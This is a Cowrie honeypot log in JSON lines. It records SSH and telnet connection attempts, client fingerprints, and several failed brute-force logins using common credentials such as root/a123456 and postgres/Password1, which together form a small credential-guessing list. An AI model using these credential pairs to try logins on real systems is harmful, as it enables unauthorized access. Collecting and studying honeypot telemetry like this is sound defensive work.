{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:13.111253Z","src_ip":"78.83.249.54","session":"6997883e2dda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:13.229912Z","src_ip":"78.83.249.54","session":"6997883e2dda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Password1","message":"login attempt [postgres/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:13.738960Z","src_ip":"78.83.249.54","session":"6997883e2dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:14.861256Z","src_ip":"78.83.249.54","session":"6997883e2dda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":48038,"dst_ip":"159.203.135.109","dst_port":23,"session":"5526e670067d","protocol":"telnet","message":"New connection: 69.6.249.0:48038 (159.203.135.109:23) [session: 5526e670067d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:17.624901Z"}
{"eventid":"cowrie.session.closed","duration":30.163306951522827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:14:47.788086Z","src_ip":"69.6.249.0","session":"5526e670067d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":37624,"dst_ip":"159.203.135.109","dst_port":23,"session":"544047aaa774","protocol":"telnet","message":"New connection: 69.6.249.0:37624 (159.203.135.109:23) [session: 544047aaa774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:16:31.462851Z"}
{"eventid":"cowrie.session.closed","duration":31.66860032081604,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:03.131308Z","src_ip":"69.6.249.0","session":"544047aaa774","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":60858,"dst_ip":"159.203.135.109","dst_port":23,"session":"6daf6ebbcc34","protocol":"telnet","message":"New connection: 69.6.249.0:60858 (159.203.135.109:23) [session: 6daf6ebbcc34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:19.414279Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55770,"dst_ip":"10.17.0.5","dst_port":22,"session":"77a320627f97","protocol":"ssh","message":"New connection: 103.15.226.202:55770 (10.17.0.5:22) [session: 77a320627f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:22.080543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:22.085282Z","src_ip":"103.15.226.202","session":"77a320627f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:22.339812Z","src_ip":"103.15.226.202","session":"77a320627f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37074,"dst_ip":"159.203.135.109","dst_port":22,"session":"472fec42afcb","protocol":"ssh","message":"New connection: 80.94.92.186:37074 (159.203.135.109:22) [session: 472fec42afcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:22.883402Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456","message":"login attempt [root/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:23.091261Z","src_ip":"103.15.226.202","session":"77a320627f97","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:23.184560Z","src_ip":"80.94.92.186","session":"472fec42afcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:23.187944Z","src_ip":"80.94.92.186","session":"472fec42afcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:24.341638Z","src_ip":"103.15.226.202","session":"77a320627f97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:24.487719Z","src_ip":"80.94.92.186","session":"472fec42afcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:25.642292Z","src_ip":"80.94.92.186","session":"472fec42afcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49630,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd99ff00bba7","protocol":"telnet","message":"New connection: 69.6.249.0:49630 (159.203.135.109:23) [session: fd99ff00bba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:42.279206Z"}
{"eventid":"cowrie.session.closed","duration":31.881011962890625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:17:51.295178Z","src_ip":"69.6.249.0","session":"6daf6ebbcc34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":21623,"dst_ip":"159.203.135.109","dst_port":22,"session":"993a67e92f50","protocol":"ssh","message":"New connection: 193.24.211.100:21623 (159.203.135.109:22) [session: 993a67e92f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:08.112994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:08.118137Z","src_ip":"193.24.211.100","session":"993a67e92f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:08.251890Z","src_ip":"193.24.211.100","session":"993a67e92f50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helen","message":"login attempt [root/helen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:08.684298Z","src_ip":"193.24.211.100","session":"993a67e92f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:09.794621Z","src_ip":"193.24.211.100","session":"993a67e92f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03734064102173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:13.316439Z","src_ip":"69.6.249.0","session":"fd99ff00bba7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":39158,"dst_ip":"159.203.135.109","dst_port":22,"session":"92f189e0ae5c","protocol":"ssh","message":"New connection: 163.7.6.74:39158 (159.203.135.109:22) [session: 92f189e0ae5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:27.842180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:27.846099Z","src_ip":"163.7.6.74","session":"92f189e0ae5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:28.091866Z","src_ip":"163.7.6.74","session":"92f189e0ae5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminonline","message":"login attempt [root/adminonline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:29.108725Z","src_ip":"163.7.6.74","session":"92f189e0ae5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:18:30.370461Z","src_ip":"163.7.6.74","session":"92f189e0ae5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":33902,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c338565e8ca","protocol":"ssh","message":"New connection: 163.7.6.74:33902 (159.203.135.109:22) [session: 4c338565e8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:19:35.776020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:19:35.780895Z","src_ip":"163.7.6.74","session":"4c338565e8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:19:36.028201Z","src_ip":"163.7.6.74","session":"4c338565e8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12340","message":"login attempt [ubuntu/12340] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:19:37.046970Z","src_ip":"163.7.6.74","session":"4c338565e8ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:19:38.297023Z","src_ip":"163.7.6.74","session":"4c338565e8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":45143,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e19d6b3ba00","protocol":"telnet","message":"New connection: 212.55.149.117:45143 (10.17.0.5:23) [session: 4e19d6b3ba00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:15.785391Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":39598,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a068da86de2","protocol":"telnet","message":"New connection: 69.6.249.0:39598 (159.203.135.109:23) [session: 5a068da86de2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:23.033931Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":39734,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a162ffd1d5a","protocol":"ssh","message":"New connection: 80.94.92.186:39734 (159.203.135.109:22) [session: 6a162ffd1d5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:42.221952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:42.311330Z","src_ip":"80.94.92.186","session":"6a162ffd1d5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:42.414416Z","src_ip":"80.94.92.186","session":"6a162ffd1d5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:43.143413Z","src_ip":"80.94.92.186","session":"6a162ffd1d5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:44.362939Z","src_ip":"80.94.92.186","session":"6a162ffd1d5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":33826,"dst_ip":"159.203.135.109","dst_port":22,"session":"373bdb7eccfc","protocol":"ssh","message":"New connection: 163.7.6.74:33826 (159.203.135.109:22) [session: 373bdb7eccfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:44.406931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:20:44.411222Z","src_ip":"163.7.6.74","session":"373bdb7eccfc","protocol":"ssh"}
